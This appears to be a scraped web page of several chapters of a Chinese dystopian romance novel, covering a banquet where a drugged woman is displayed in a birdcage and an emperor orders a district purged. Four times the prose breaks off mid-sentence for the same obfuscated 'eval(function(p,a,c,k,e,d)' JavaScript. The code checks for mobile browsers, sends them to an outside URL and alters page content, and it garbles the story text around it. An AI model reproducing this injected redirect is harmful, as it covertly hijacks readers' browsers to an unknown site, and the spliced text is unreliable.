“我希望你可以提前跟我说一下。”苍恃皱着眉头,身体微微侧了一下,把门口让了出去。 他的意思很明确,是要逐客了。 “好吧,下次我会先敲门的。”她吐了舌头,杏仁般的大眼睛我见犹怜,透露出几分恰到好处的脆弱与纯真,“那明天见咯?” 没等苍恃回答,她就伸手轻轻抓了一下他的衣袖,而后白色的衣裙带起一阵清风,跟妖精一样消失了。 苍恃愣了一下,衣袖上留下来的触感还很明显,那是和其他人完全不一样的感觉,挠得他心里发痒。 不过……他看了一眼凌乱的大厅,槐翎买的东西还胡乱地放在这里,换下来的脏衣服也没有收拾,食物的残渣甚至还留在厨房里,以前槐翎还没有这样的生活习惯,他开始觉得一定是槐翎故意为之的。 毕竟她就是那样坏心眼的人。 于是他花了半天时间做了个大扫除,那些买回来还没有穿的衣物也全部放进次卧的衣柜里,瞬间填满了空荡荡的次卧,比一开始要更有生活气息了。 等到打扫完了之后,苍恃没忘记把大门的密码重新设置了一遍,空气中那股甜味还没散去,他又让新风系统高效率运作了一会,最后才恢复成平时的样子。 等到真正坐在沙发上休息的时候,苍恃才回过神来——他为什么要把槐翎买的衣服都放进次卧里,明明她都不会再回来了? 想到这里,他心里突然变得烦躁了起来。 * 第二天,那名女性果真来了。 第三天, 她很有耐心地敲门,在门口等待了一会,就算苍恃明摆着不想见她,她也没有半点不耐烦,只安静地站在门口等待,漂亮得像是一场幻梦。 苍恃多少还是有点良心的,他最终还是开了门让女性进来。 今天她穿了一件浅绿色的裙子,香水也换成了清新的款,柑橘味与薄荷味的搭配,让人只要一闻就感觉到春夏的气息。 夏天也确实要到了。 在看到苍恃的那一刻,她露出了甜美的笑容,完全没有提及之前的等待。 苍恃认为她的到来不过是为了完成皇帝的任务罢了,他也就很快调整了心态,让女性坐下来,自己则是端了一杯花茶过来,他坐在沙发的另一端,和女性隔得比较远。 他深知自己不是什么有趣的人,也了解自己没有什么魅力,赶紧让女性喝完茶交差便是。 “你是不是不知道我的名字?”女性并未急着去喝茶,她微笑看向苍恃,“我叫温蓓,蓓蕾的蓓。” “嗯。”苍恃点头,他没有展开话题的打算,只静静地坐在那里。 “今天天气那么好,要不要一起出去走走?”温蓓尝了一口花茶,酸酸甜甜的,一般年轻女性都喜欢这种口味,她不着痕迹地扬起嘴角,心里多了几分欢喜。 “我还有工作。”其实没有,苍恃说谎了,但他也没心情去做这些事情。 “这样啊,你平时工作,都在做些什么呢?”温蓓放下杯子,眼里闪过一丝失落,而后她意识到自己说了些不该说的话,“啊,我不是要打探什么……只是,想多了解你一点,你不说的话也没关系。”她连忙摆摆手,脸有些红了。 “……都是很平常的工作。”苍恃别过头去,要是换作别人,他现在已经拿出武器了,但她是皇帝派来的人,自己总不能动手。 “好吧。”温蓓双手交叠放在腿上,她的姿势很端庄,每一个动作都像是经过精心设计的,她知道如何让人留下深刻的印象,也知道什么情况下的她最美丽。 “是我唐突了,下次我会提前问你安排的,可以吗?”她的眼睛亮晶晶的,说这话的时候倒是透露出几分真诚。 涂了唇蜜的嘴唇透着粉色,唇瓣饱满得像是快要成熟的水蜜桃,她害羞地打量着苍恃,目光有时落在他的脸上,有时在他身上,她好像真的在期待苍恃会答应请求。 苍恃的心绪却飘得老远,槐翎从来不会问他可不可以,也不会问他意见,槐翎甚至会擅自打开他的电脑,趁着他不在把里面的东西都翻一遍,然后还会不打招呼就用他的信用卡买东西。 幸好,他终于彻底摆脱这个人了。 “啊对了,”温蓓见苍恃心不在焉,立马提高了说话的音量,她从手提包里拿出一个小盒子,盒子上面都是精美的花纹,上面渗出了小水珠,看来是专门冻过了才拿来的。 “本来是想和你出去的时候分享的,不过既然你有安排了,我现在就把它给你吧。”她满心欢喜地把盒子递给苍恃,苍恃见状只好接了过来,打开一看才发现是一个草莓蛋糕。 上面还精致地画了个图案,点缀有各种各样的装饰,这个蛋糕一看就知道是外面买不到的,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478179|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是卖相比店里做的还要好看不少。 ”是我做的,怎么样?我很擅长做饭和各种家务,做蛋糕也是我的爱好之一。”温蓓笑眯眯的,在她的注视下,苍恃只有舀了一口放进嘴里。 这是和精致的卖相完全一致的美味,苍恃有些惊讶,他在A区吃过不少好吃的,但像这个味道却还是令人感到讶异。 看到苍恃的表情有所松动,温蓓原本的紧张感也随之消散了,她趁机靠近了些,柔顺的长发拂过苍恃的手。 “嗯,很好吃。”苍恃老老实实地说出了自己的感想,温蓓眼睛弯弯的,纤长的睫毛更增添了几分我见犹怜。 “你喜欢就好。”温蓓伸手轻轻触碰了苍恃的手背,她的手指没能停留很久,毕竟苍恃在那个瞬间就站了起来,避开了温蓓的触摸。 她的手停在半空中,虽然有一瞬的惊讶,她还是很快调整好了心态,礼貌地和苍恃道别。 “这个盒子就拜托你帮忙洗一下了。”她把手背在身后,脸上的表情还是挂着原来的笑容,但多了几分疲态。 苍恃送走她之后,顺手把蛋糕盒子放进洗碗机,看着洗碗机运作起来发出水声,苍恃不可控制地想起来温蓓穿的裙子。 她的头发带着香气,柔顺如丝绸,裙子和身上的配饰也是精挑细选的,因为注意到他不喜欢那个香味,今天的她也换了一种更清新的香水,她甚至为了今天的外出做好了准备,还愿意为了苍恃亲自做了蛋糕。 她会不会其实是真的想出去玩?所以才会花了那么多心思。 他开始有些后悔拒绝温蓓了。 即使被拒绝,温蓓也不感到生气,和其他人比起来,苍恃感觉到了久违的尊重。 但是……他的后悔也就仅限于此。槐雾说过在A区的家庭都不过是人质罢了,没有任何牵绊的他,在A区是随时都可能背叛皇帝的存在,温蓓是夹着毒药的草莓蛋糕,分分钟都在吸引他沦陷,只等着什么时候药性发作。 理智和情感正在不断拉扯。 他打开邮箱,看到从宫殿发来的请柬,后天就是宴会了。 那天皇帝说过的话他还记得,所有人都会看到槐翎,看到她的丑态,品尝她的屈辱。 他也是分食槐翎的其中一员,他应该感到高兴才是的。 他下意识地走到次卧,次卧里没有别的香味,床铺有些凌乱,枕头上留了几根红色的长发,衣柜里摆放着各种各样的衣服,有裙子,有长裤,还有名家设计的鞋子,那是和温蓓完全不一样的风格,张扬又肆意。 槐翎还和以前一样唤着他小久,声音里满是自信。 苍恃猛地醒悟过来,他关上衣柜门,又迅速后退了几步,把次卧的门关上,再用钥匙锁起来。 已经过去五年了,他和祝译约定过,要从过去中走出来,再也不能陷入泥沼,更不能被伤害过自己的人再有伤害他的机会。 所以他接下了皇帝的任务,亲手把槐翎呈给皇帝。 他不会后悔,也不可能让自己后悔! 41. 第 41 章 槐翎坐在满是碎片的房间内,落地窗全开,白色的窗帘随着风飘起。 她孤独地、痛苦地、愤怒地砸坏了房间内的一切东西,这样的暴行持续了数天,她咒骂每一个出现的人,用拳头发泄自己的怒气,尖叫总在深夜响起。 就连送来的衣服,她都会亲自用手撕开,再用脚踩上两脚。 她坐在床上,眼白满是红血丝,她的双手伤痕累累,眼神里透露出前所未有的失控。 她能清楚听到外面的人是如何称呼她——疯子。 宴会的时间越来越近,槐翎咬紧牙齿,她的脖子上满是血痕,那是她用自己指甲抓出来的。 那是她唯一能做到的,一点微不足道的反抗。 午时,卫兵带来了饭菜,还有一套新的礼服。 和之前不一样的是,这次来的卫兵足足有三人,其中一人气质和另外两个截然不同,他的眼睛是灰色的,穿着的制服上多了一层金边。 槐翎在他们的监视下吃完了饭菜,没等她说话,那个卫兵手里就多了一份药物,槐翎的挣扎太过弱小,她眼睁睁看着自己被注射了药物,而后脑子变得昏昏沉沉,身体也无法再控制。 后来来了几个侍女,她们合力帮槐翎洗干净身体,为她的皮肤涂上药物,又为她换上精心准备的礼服,为她编发化上妆容。 槐翎看不清镜子中的自己,现在的她和牵线木偶别无二致。 她无力去思考,只能感受自己变成了另外一个人,她再也不是槐翎了。 天色渐渐变暗,槐翎被引导着,她的双腿失去知觉,只知道一小步一小步的往前走,穿着高跟鞋的脚似是踩在软绵绵的云朵之上,两名侍女搀扶她,还有几名卫兵手持武器在旁边警戒。 她很想说点什么,做点什么,身体却无法控制。 原本只有嗡鸣的耳边变得吵闹起来,无数的说话声交替穿插在她的脑海里,她好像夺回了一丝控制权,手指稍微动弹了一下。 再然后,她坐了下来,在一个装饰满花朵的庭院里,她闻不到花香味,也看不见身边都有什么人,耳朵里只有嘈杂的声音。 她不知道自己现在是什么模样,她不禁在想,这样是不是就能毫无感知地度过这漫长的宴会了? 乐团开始演奏音乐,听着是那么的遥远,槐翎的手指慢慢收紧了。 * 作为宴会的主办人,宴会才刚刚开始,槐雾就在台上高谈阔论,他很会炒热宴会的气氛,在场的客人发出阵阵笑声。 只不过,当槐雾看到苍恃进来宴会厅时,他还是控制不住自己的面部表情,毫不掩饰地露出了对他的厌恶。 如果不是皇帝的要求,他是绝对不会让苍恃参加宴会的,他由衷地觉得这种人就应该一直在E区,而不是在这里污染A区的空气。 有些擅于观察细节的客人马上就明白了槐雾的恶意,他们顺着槐雾的目光看去,只见苍恃穿着西装,脸上是拒人千里之外的冷漠,他站在角落,对宴会一点兴趣都没有。 然而几分钟后,进来了一个穿着短款礼裙的女性,她那黑色的长发盘起来,露出纤细白皙的脖子,上面点缀有一条钻石项链,她东张西望,在找到角落里的苍恃时露出了笑容,而后她亲昵地挽上苍恃的手臂,苍恃没有拒绝她的亲近。 槐雾眯着眼睛看了一会,才想起来那是温蓓。 一个被他厌弃了的只能依附男人而活的槲寄生,一个被饲主榨取了利用价值后便被毫不犹豫抛弃的狗,这两个人凑到一起倒是合适。 槐雾没忍住低声笑了出来,他拿过一杯香槟一饮而尽,旁边的宾客不知道他在笑什么,但也跟着干巴巴地笑了起来。 宾客都到齐了,宴会厅的大门被从外面关上。这场宴会的主题是为了庆祝侵略战争的胜利,虽然之前已经在全国范围内庆祝过了一回,但在这个世上没人会讨厌热热闹闹的宴会,槐雾在台上说着些吉利话,无非是围绕战争的胜利,现在这个星球的土地基本上都被收入囊中,一统天下也在计划之中。 这也意味着在A区的人能够获得更高的地位,更多的利益,一时间宴会厅内充斥着无数的欢呼和欢乐。 苍恃心里不为所动,他就这么站在角落,看着台上的槐雾用尽全力让宾客欢笑的模样像个小丑。 旁边的温蓓看出他兴致不高,她悄悄抬头观察起苍恃,看着他那张俊俏得找不出缺点的脸,温蓓脸上浮现了红晕。 “怎么了,你是不喜欢宴会吗?”她抓紧了些苍恃的手臂,生怕苍恃会和之前一样避开。 苍恃点头,他只觉得这里的空气有些浑浊,而不知道怎么,他总有种不祥的预感。 “那我们出去透透气?”温蓓眨了眨杏仁眼,正好这样他们就能独处了。 苍恃低头看了看自己的手臂上那双紧紧抓着他的葱白手指,正在思考是否要答应温蓓的要求。 没等温蓓等来苍恃的回答,一声轻轻的呼唤就夺取了苍恃所有的注意力。 “苍恃…少校。”这声线大家都很熟悉,苍恃转过头去,看见身穿米白色长裙的祝译站在吧台旁,她手里拿了一杯酒,和过去那意气风发的她完全不一样的是,她身上的锐气全部消失了,总是熠熠生辉的眼睛里只能看到深不见底的疲惫,厚重的妆容遮不住她的萎靡。 她独自一人,身上没有任何首饰,朴素得不像是应该出现在这里;而手里的酒已经喝了一半,她浑身泡在酒味里,眼睛上上下下打量着苍恃和温蓓。 “果然我没有认错……这位是温蓓吧?”祝译露出了些许讨好的笑容。 温蓓和祝译不算熟,只能说以前的祝译在学院里也算是个风云人物,在槐翎离开的几年里,祝译的成绩都是学院里最好的,倒是没想到短短几年,祝译竟然变成这副死气沉沉的模样,再也没有了过去的灵气。 温蓓礼貌地点点头,但没有和祝译说话的打算。 “看来你终于走出来了。”祝译抬头看向苍恃,她的眼神很复杂,有赞许,有惋惜,也有不解。 温蓓不知道祝译和苍恃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493142|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之间的交情,她只安静地听着,目光在二人身上流转,是单纯的好朋友吗?还是他们曾经也有过一段…… 苍恃的嘴唇动了一下,他没有说话,避开了祝译的目光,看到祝译变成这副模样,几年前在学院里他们互相探讨学习的画面都变得有些模糊了,虚幻得像是一场梦,等醒来时就只剩下惆怅了。 “或许当时错误的是我。”祝译低下头来,她把酒一饮而尽,又转头向酒保要求了一杯烈酒。 “不要再喝了。”苍恃还是没忍住出声制止她,祝译只摇了摇头,没有理会苍恃的话语。 三个人站在这里的气氛说不上轻松,温蓓看着他们一副余情未了的模样,心里顿时有了危机感,她的身体几乎是紧贴着苍恃,祝译自然是看到她的这些小动作,她扯了扯嘴角,露出了有些勉强的笑容。 “我就不打扰你们两个了。”她转身就要离开,脚步虚浮,显然已有了几分醉意,苍恃走上前想要搀扶她,但另一半的身体被温蓓紧紧扒着,温蓓的眼睛似有几分湿润,她甚至不用说话就能让人明白她想要表达的。 苍恃四处观望着,他在旁边黑暗的角落里看到一个有些熟悉的目光,等他定睛再看的时候已经看不清了,只能依稀辨认出那是一个老人,身穿着深色的西装。 宴会已过半,气氛稍微有些冷却下来。 乐团原本在演奏悠扬的古典乐,在此时却突然停顿了一下,他们换上了不一样的曲谱,开始演奏了低沉的和刚才截然不同的音乐。 槐雾皱起了眉头,他不记得自己有安排这样的环节,再说了谁会在这么开心的时候演奏这样的曲子啊? 他正打算找个人去问问怎么回事,却看见在昏暗的角落里,杜山竟然出现了。 槐雾是知道杜山这个人物的,他一般只有在非常正经的场合才会现身,在这种场合他的出现等于宣告皇帝也会在这里。 槐雾立马追上去,他是宴会的主办人,可不能容许有什么不让他知道的秘密环节! 在杜山出现的一分钟后,宴会厅的灯光暗了下来,大家都迷茫地四处张望,在宴会里有保留节目是正常的,因此并未造成什么混乱,大家只静静等待,看看哪里会出现新的玩意。 下一秒,灯光都聚焦在帷幕之前。 乐团演奏的音乐就像是魔女的低语,低沉得牵扯着鼓膜鼓动,心脏也随之跟随节奏跳动起来。 这样的环节显然很能调动大家的情绪,大家的注意力都放在帷幕之后,翘首以盼在帷幕后面会有什么。 沉重的帷幕缓缓拉开,一个精致的、放满了鲜花与珠宝的、足足有两米五高的巨型鸟笼被放在帷幕之后,在鸟笼之中的是身穿礼服的槐翎,手工蕾丝制成的礼服勾勒出她高挑又恰到好处的身材,红色的长发挽起盘在脑后,她双手交叠放在身前,手腕上的蕾丝手套遮盖了伤痕,最吸引目光的是她脖子上的钻石项圈,在聚光灯的照耀下光彩夺目。 她就这么静静站在鸟笼之中,头部微微下垂,让人看不清她的表情。 42. 第 42 章 宾客们不知道发生了什么,他们努力踮起脚尖想去看鸟笼里的人是谁,讨论声无法停止,有些靠得比较近的人甚至想要爬到台上去。 只有温蓓感觉到了不对劲,要说为什么的话,那是因为在那笼中女性出现的那一刻,苍恃的身体迅速变得紧绷了起来,他周身都环绕着一股说不清道不明的戾气,是生气,还是震惊,温蓓无法辨认。 她小心翼翼地去观察苍恃的神色,只见他眼睛死死盯着鸟笼,和在那之前冷淡的他大相径庭,温蓓有些害怕,但同时她也体会到了一丝不寻常。 苍恃一定认识那个人,并且他十分在意。 温蓓能清晰体会到自己的心脏也逐渐加快,她屏着呼吸往台上看去。 身穿正装的槐迩从帷幕后走出,他的脚步很稳,踩在木地板上发出低低的声音,他面带微笑,一扫往日的威严。 但在场的所有人都纷纷跪了下去,高呼陛下。 槐迩什么都不用说,他拿出钥匙打开鸟笼,又伸手握住了槐翎的手腕,他动作轻柔,像是在抚摸一件易碎的艺术品。在他的引导下,槐翎缓缓走出了鸟笼,她的每一步都走得很仔细,好像稍有不慎就会掉入万丈深渊。 而后,槐迩用戴满戒指的手挑起槐翎的下巴,槐翎连控制自己表情都做不到,她半睁着眼睛,眼神迷离,嘴巴微微张开,看上去呆滞又无力,在聚光灯的作用下,在场所有人都明白了笼中女性的身份——本该死去的槐翎,如今变成了这副乖顺的模样。 下一秒,在宴会厅的另一边传来了玻璃破碎的声音,大家的注意力也就在此时被吸引,只见祝译整个人倒在放满杯子的桌子上,她好像是喝醉了,压得玻璃杯掉落在地上彻底破碎,地毯上满是碎片,幸运的是杯子是空的,祝译嘴里还喃喃说着些胡话,她像是在哭,又像是在笑,模样怪异,好几个卫兵立马冲上来把她带出宴会厅。 玻璃破碎的声音就像是警告,刚刚还陷入了震惊沉默着的宾客们,在反应过来之后纷纷鼓掌、大叫、喝彩,他们早就知道槐翎和槐迩之间那朦朦胧胧的关系,如今皇帝在宴会里这么做,正正好坐实了那些“谣言”都是真实的。即使夹杂着伦理道德的影响,也没有人会大胆地反对当今皇帝,他是这个国家的王,这个国家都是属于他的,一个女人又算得了什么呢? 有些人认得槐翎,看到槐翎如今的模样也拍手叫好,他们不喜欢槐翎这样一个离经叛道的人,尤其是这样的女性,做事张扬,自尊心强又不受管控,就算父母有着再高的地位,槐翎也依旧不被接受。 不过,现在她的这副样子,和死了又有什么区别? 笑声一开始还有些压抑,后来逐渐变得响亮,他们欢笑着,戏谑地向槐迩恭维他的手段,嘴上还说着驯服野兽的乐趣也不过如此,甚至有人开始污言秽语询问皇帝什么时候再添几名公主王子,后来说出的话语卑劣又下等,槐迩坐在自己的座位上,享受着这迟来五年的快意。 槐雾的表情从震惊到愤怒没花多长时间,他怔怔地看着台上的槐翎和槐迩,一个是他的堂妹,一个是他的父亲,而如今他们牵手站在一起,接受宾客的吹捧,这场宴会简直就像是他们两个之间的——婚礼。 槐雾下意识地握紧了双手,被他握着的杯子破碎掉在地毯上,深红色的酒液混着血液流了下来,明明大脑还在急速运作,思考要如何处理这样的信息,而身体已经先一步反应过来,他的胃部正在抽搐,刚刚吃下去的蛋糕水果点心正在压力之中朝外涌去。 他没办法忍住,膝盖一软就跪在地上用力地呕吐了出来,食物的残渣喷洒在地毯上,他的眼泪与唾沫也在同一时间流出,糊了他整张脸,整个人只剩下狼狈不堪。 旁边围着他的宾客纷纷散去,他们捂着口鼻,再也没有了恭维槐雾的心思,几个卫兵发现了他的异常,架着他的身体想让他离开宴会厅。 槐雾脚步虚浮,他看着自己离宴会厅越来越远,台上的白色身影也变小了,钻石项圈上的光芒是如此刺眼,刺得他睁不开眼,他甚至来不及看清槐翎的脸,他们已经五年未见了,为什么再次见面会是这样的场景? 他很想冲上去大声地质问自己的父亲,为什么会有这样的心思,为什么要做这些事,但当他注意到藏在皇帝后面的杜山时,他觉得自己的喉咙被堵住,连一句话都说不出来。 宴会厅的大门重重地关上了,槐雾再也没办法去追逐那个身影。 * 没等宴会结束,苍恃就先行返回自己的车上,温蓓小跑着跟在他身后,她气喘吁吁地,再跑慢一点就会跟丢苍恃。 她灵活地钻进副驾驶,脸上是薄薄的一层汗,虽然知道这样很失态,但还是尽力地压制了自己的喘息,她的心脏跳得极快,似乎是要从胸腔蹦出来。 “我送你回去。”苍恃沉默了片刻,而后车辆快速地驶离宫殿,就好像是要逃离这个魔窟一般。 温蓓鼻尖上冒着汗,她知道如今不是谈话的好时机,她静静坐着,好好平复自己的呼吸。 今天的宴会他们并没有约好一起行动,是她单方面跟在苍恃旁边的,以她的身份要拿到邀请函并不难,她原以为经过今天的相处后,苍恃会多多少少在意自己,然而槐翎的出现破坏了一切,她甚至什么都不做,一句话都不说就改变了这个局面。 她向来敏锐,知道槐翎对于苍恃来说有着怎样的价值,尽管所有人都知道,槐翎曾经利用了他,并且狠狠地抛弃他,但在看到这个模样的槐翎时,苍恃的表现完全不像是在看一个仇人。 他眼里有困惑,有怀疑,甚至有了一丝难以察觉的痛苦。 以温蓓的理解,苍恃应该是要恨槐翎才对的,可是为什么…… 她紧紧抓着手里的布料,礼裙变得皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503022|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴巴的,留下了不好看的痕迹,温蓓只觉得今天实在太不寻常了。 先不说那个奇怪的醉醺醺的祝译,在这样的场合里她竟然会喝醉了?还会摔到杯子堆里?这是一个成年人会做的事情嘛?更何况是那个聪明的祝译? 再就是被拖出去的槐雾,他怎么会满脸泪水?作为王子的他最是爱面子,又何尝会在公共场合里这么失态?就这么被拖出去了也不生气? 最后是苍恃,他虽然反应不大,但也不过是隐藏起来罢了,现在的车速已经超过限速的50%,甚至没有任何减速的迹象,眼看着车子都快要飞起来了,他是要急着去做什么? 这三个人的反应都和槐翎有着直接的关系。 她才刚刚得出结论,车子就停了下来,不知不觉间,她就到达了自己所居住的公寓。 车速太快,她甚至还来不及细想,也来不及和苍恃说点什么。 但苍恃已经打开了车门,嘴唇紧紧抿着,分明就是不想和她对话的样子。 温蓓足够识趣,她点头道谢,而后疲惫地走进了公寓。 待到温蓓离开后,苍恃设置好自动驾驶,他也终于能够脱下那束缚他的领带和西装外套,随意地扔在车内,黑夜里车子驶向高速路,宽敞的路上一辆车都没有。 而他弯下腰,把手指插在原本梳得一丝不苟的头发里,双手掩面。 “怎么会这样……她怎么会变成这样……像她那样的人,是绝对不会让自己变成这样的……那样的她只余下一具躯壳,再也没有了灵魂。” “难道这就是你想要的吗?你取回了自己的名字,成为了刽子手,杀死了无辜的群众,最后换回来的就是这样的结局吗?” 苍恃双目猩红,他的脑海里不断出现槐翎的脸,那张呆滞的,没有了生命力的,被装点起来的虚假的脸,就算被瑰丽的珠宝所包围,也依旧只能看到腐朽的内在,她那鲜活的灵魂早就被无数人分食了。 他曾经在战场上见过这样的画面,被投放了药物的无辜民众失去了身体的控制权,他们呆愣地站着,不知道自己将要面对什么,然后他驾驶着泰坦,行走在断垣残壁之间,火焰席卷了一切,把那些失去了灵魂的躯壳化为灰烬。 从药物中提取出来的成分,能够成为成瘾性极强的制品,在E区里被称为“迷幻”不少人沉迷于此,亡命徒们甚至会为了购买一点点迷幻而铤而走险,竞技场内多数是这样的人,这也是使得E区混乱不堪的主要原因。 他早该预料到的,站在皇帝身后的杜山,用宝石隐藏起来的炸弹,让人神志不清的药物,在那一天他就明白,是他亲手送槐翎到槐迩的鸟笼里,让槐翎成为槐迩的笼中鸟。 现在的他什么都做不到,只能缩在车内,在这密闭的空间里,他方能寻找到一丝安全感,他浑身颤抖,紧紧抓着自己的肩膀,想要驱逐体内的寒意。 43. 第 43 章 关于槐翎的“新闻”几乎是一天之内就传遍了A区,她的生死倒是这个“新闻”里最不重要的一部分,现如今大家都知道她被圈养在宫殿里,成为了皇帝的宠物,她没有反抗,身上的尖刺都被皇帝拔下,这副乖顺的模样诡异又令人安心。 漫步在A区的街道里就能听到行人在讨论,讨厌槐翎的人,被槐翎伤害过的人都在此时获得了满足。 苍恃完成了报告的最后一页,他揉了揉眉心,又反复确认报告中是否还有缺漏,确定真的可以递交上去后,他签上了自己的名字,把加密的报告直接送往皇帝的办公室。 正当他想洗把脸清醒下时,一直随身携带的设备突然亮了灯,苍恃解锁后打开,只看见一条没有署名的信息。 “在哪里?” 这个消息没头没尾,也不知道发信人,这个设备是护卫队内部使用的,所有信息都是加密的,不是本人是绝对用不了的。要说是手下的人,他们绝对不会这么没礼貌地直接发消息,要说是杜山这种军衔比他高的,也不会只发三个字就作罢。 苍恃怎么都想不到会是什么人发的消息,他没有放在心上,而是仔细洗了一把脸,又把长出来的胡茬给清理干净。 设备又亮了一下,苍恃打开来,只有一条未读信息:“你死定了。” 他把信息置顶了,还是没有回复的打算。 已经是下午了,他走进厨房,在冰箱找到了些快要过期的食物,就着冰水把不怎么好吃的食物塞进胃里,不过五分钟他已经有了饱腹感。 填饱肚子后,他开始按照日程表进行身体的训练,在过去不知道多久后,这个公寓迎来了入住以来的第三名访客。 这个访客没什么耐心,他敲门敲得用力且急促,苍恃擦去脸上的汗,在门铃上看到了一张被愤怒扭曲了的脸。 他倒是没想过公寓会迎来这位访客。 苍恃打开门来,没等他说话,一个虚弱的拳头就砸了过来,他侧身避开这一点杀伤力都没有的攻击,不过率先攻击他的人却没站稳,整个人直挺挺地摔在门廊。 苍恃后退了两步,生怕自己和他扯上关系。 来的人正是槐雾,他狼狈地爬起来,摸了摸因为脸着地而红起来的鼻子,他骂骂咧咧的,整个人都笼罩在酒气里,一张嘴就熏了出来,他醉醺醺的,看起来神志不清,苍恃皱着眉头避开了些。 看来发送那些信息的人是槐雾没错了,苍恃实在不明白槐雾怎么会找到这里来。 “就是你干的是吧……”槐雾口齿不清,他颤颤巍巍地用手指着苍恃,眼睛通红似是已经哭了好一阵子。 “就是你把阿翎变成这样的!”他大叫一声,伸手就要去抓苍恃的领子,他没有苍恃高,因为长期喝酒熬夜,身体素质也比不上,他力气不大,只能用声音提高自己的气势。 “她怎么会!她绝对不会!”槐雾用尽全力喊了出来,脸也涨得通红,而苍恃只是闭着嘴静静听他胡言乱语。 “大家都不肯说,但是只有我了解她,她是绝对不会甘心成为附属品的……” 苍恃沉默不语,他没有勇气去直视槐雾的眼睛,毕竟槐雾说的都是事实,他不可能否认。 槐雾用尽全力的拳头落在了苍恃的脸上,苍恃只是咬牙接受了这一击,他感觉不到痛楚。 一股热流从鼻子流出,苍恃伸手拭去嘴唇上的鲜血,心里的血腥味却怎么也擦不掉。 “阻止我去找阿翎的人也是你吧。”槐雾冷静下来了,他抬头露出嘲讽的笑容,一副了然于心的模样。 “不是我。”苍恃摇头,他根本不知道槐雾在说什么,但是不是他做的事他绝对不会承认。 “你别不承认,你是皇帝最听话的狗,他让你往东,你绝对不往西。”槐雾恶狠狠地说道,他的右手正隐隐作痛,打到苍恃脸上时的酥麻感还停在他的手背上。 这些话苍恃已经听了无数次,自然是没办法在他心里掀起什么波澜。 见苍恃毫无反应,槐雾一股气堵在胸口出不来,他又换着花样骂了几句,骂了足足有十来分钟,他终于有些累了,随手找了个椅子坐下来休息。 苍恃懒得和一个酒鬼计较,他转身进去厨房去给槐雾打算倒一杯冰水,起码让他喝下去冷静些。 不过槐雾显然找到了要用什么话语去激怒苍恃,他抬头环顾四周,把这个没什么人气的公寓都打量了一遍,然后等到苍恃出现的时候,他露出了极其欠揍的笑容。 “你当初想买的不是这个公寓吧?”没等到苍恃的回答,槐雾还是自顾自地说了下去,“我可是很清楚,你想买的是阿翎的公寓。” 苍恃的脚步一顿,他手里还拿着一杯水,表情却变得微妙起来。 “但是啊,阿翎在五年前就拜托我要好好保护她的公寓,于是我把那个公寓的价格提到A区的顶点,因为我知道你回来之后一定想要买下来。” “你猜怎么着,还真让我猜到了!”他哈哈大笑起来,全然没有注意到苍恃的脸色在这瞬间变黑。不等他继续说下去,还装着冰块的冰水就这么泼到了他的脸上,冰水碰到皮肤时竟然还有种要刺入皮肤的疼痛,槐雾大叫着跳了起来,他喊着些不切实际的话,比如说“我要杀了你”“你去死”“我X你”“滚回E区”…… * 让卫兵把大吵大闹的槐雾接走后,苍恃只觉得身心俱疲,他躺在沙发上,这几天发生的事情太多了,让他没有去应付的余裕。 天色渐晚,漆黑的公寓里,设备上的绿色灯光再次亮起。 发往办公室的报告已被批准,皇帝此时想要召见苍恃。 和他一起接受召见的还有杜山,苍恃和他交换了一下眼神,确定了这次见面的主题。 不用皇帝亲口说明,他们已经明白将要面对什么。 “针对反抗军的情报,这都是我们目前掌握的全部情况。他们的老巢就在E区无疑,而殷肆不仅是骨干,更是创始人之一,之前宁少将的剿灭行动已经重创了反抗军,只有殷肆这一支尚未放弃反抗行动。” “他在E区有足够的人望,目前E区一片混乱,恐怕他们会拼尽全力去保护殷肆,再加上他的另一个身份,恐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518588|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕随时都有卷土再来的可能性。” 槐迩静静听了一会,他抬手指着杜山,简单又直接地宣布了E区的命运。 “那么就把E区清理了吧。” 他这话说得轻描淡写,却震得在场所有人感受到前所未有的压力,那是和侵略他人,虐杀外族人完全不同的行动,而是切切实实的同胞相残。 